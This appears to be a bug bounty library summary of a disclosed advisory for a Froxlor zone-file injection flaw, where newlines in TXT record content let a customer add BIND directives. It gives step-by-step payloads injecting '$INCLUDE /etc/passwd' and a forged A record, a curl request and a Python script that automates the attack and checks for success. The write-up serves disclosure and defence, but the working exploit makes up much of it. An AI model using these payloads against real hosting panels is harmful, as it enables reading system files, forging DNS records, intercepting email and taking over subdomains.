# Froxlor: BIND Zone File Injection via TXT Record Content

Froxlor's DomainZones.add API didn't strip newlines from TXT record content, letting a customer inject BIND directives and arbitrary DNS records into the zone file.

- Payout: Research
- Severity: high
- Program: Froxlor
- Found by: hett-patell, SKaif009
- Disclosed: 2026-06-03
- CVE: CVE-2026-41234
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-37m5-m4q3-fc6x
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-37m5-m4q3-fc6x
- Tags: area:web domain:web impact:data-leak impact:integrity kind:research platform:ghsa sev:high tech:php technique:incomplete-fix technique:source-review vuln:command-injection vuln:crlf-injection vuln:info-disclosure vuln:misconfiguration

**Target:** DomainZones.add API endpoint / BIND zone file generator
**Root cause:** TXT content is only wrapped in quotes by Dns::encloseTXTContent(), which does not strip newlines or BIND metacharacters; DnsEntry::__toString() concatenates content directly into the zone line, so embedded newlines create new zone lines.
**Steps:**
1. Authenticate as a customer with dnsenabled=1 and a domain with isbinddomain=1, using an API key.
2. POST to `/api.php` with `{"command":"DomainZones.add","params":{"domainname":"testdomain.lab","type":"TXT","record":"@","content":"v=spf1 +all\"\n$INCLUDE /etc/passwd","ttl":18000}}`.
3. Observe the returned zone content: the TXT line is split and `$INCLUDE /etc/passwd` appears on its own line.
4. Wait for the DNS rebuild cron so BIND processes the injected directive.
5. Variant: set content to `v=spf1 +all"\nevil\t18000\tIN\tA\t6.6.6.6` to inject an arbitrary A record for evil.testdomain.lab.
**How found:** Noticed the v2.3.5 fix for CVE-2026-30932 added strict validators for LOC, RP, SSHFP and TLSA but left TXT handled only by Dns::encloseTXTContent(), which just adds quotes; the lingering `// TODO regex validate content for invalid characters` at line 148 confirmed the gap.
**Exploitation:** An authenticated customer injects newline-terminated BIND directives or records into their TXT value; the DNS rebuild cron writes the zone file and BIND parses the injected lines, allowing $INCLUDE of world-readable files, arbitrary A/MX/CNAME records, or zone-breaking content.
**Escalation:** Chaining $INCLUDE with DomainZones.listing or DNS queries to exfiltrate parsed file content; MX/CNAME injection enables email interception and subdomain takeover.
**Insight:** When a patch adds per-type validators, enumerate every sibling record type in the same switch and check which ones still lack a validator; a quote-wrapping helper is not sanitization.

## Proof of concept (copied exactly from the original report)

**curl API request injecting $INCLUDE via TXT**

```
curl -s -u "API_KEY:API_SECRET" \
  -H 'Content-Type: application/json' \
  -d '{
    "command": "DomainZones.add",
    "params": {
      "domainname": "testdomain.lab",
      "type": "TXT",
      "record": "@",
      "content": "v=spf1 +all\"\n$INCLUDE /etc/passwd",
      "ttl": 18000
    }
  }' \
  https://panel.example.com/api.php
```

**Automated Python PoC script**

```
#!/usr/bin/env python3
"""Froxlor <= 2.3.5 TXT Zone Injection — Incomplete CVE-2026-30932 Fix"""
import json, sys, requests, urllib3
urllib3.disable_warnings()

def api(target, key, secret, cmd, params=None):
    return requests.post(f"{target.rstrip('/')}/api.php",
        auth=(key, secret), json={"command": cmd, "params": params or {}},
        verify=False).json()

target, key, secret, domain = sys.argv[1], sys.argv[2], sys.argv[3], sys.argv[4]

# Inject $INCLUDE
r = api(target, key, secret, "DomainZones.add", {
    "domainname": domain, "type": "TXT", "record": "@",
    "content": 'v=spf1 +all"\n$INCLUDE /etc/passwd', "ttl": 18000})

for line in r.get("data", []):
    tag = "   <-- INJECTED" if "$INCLUDE" in str(line) else ""
    if line: print(f"  {line}{tag}")

print("\nCONFIRMED" if any("$INCLUDE" in str(l) for l in r.get("data",[])) else "FAILED")
```

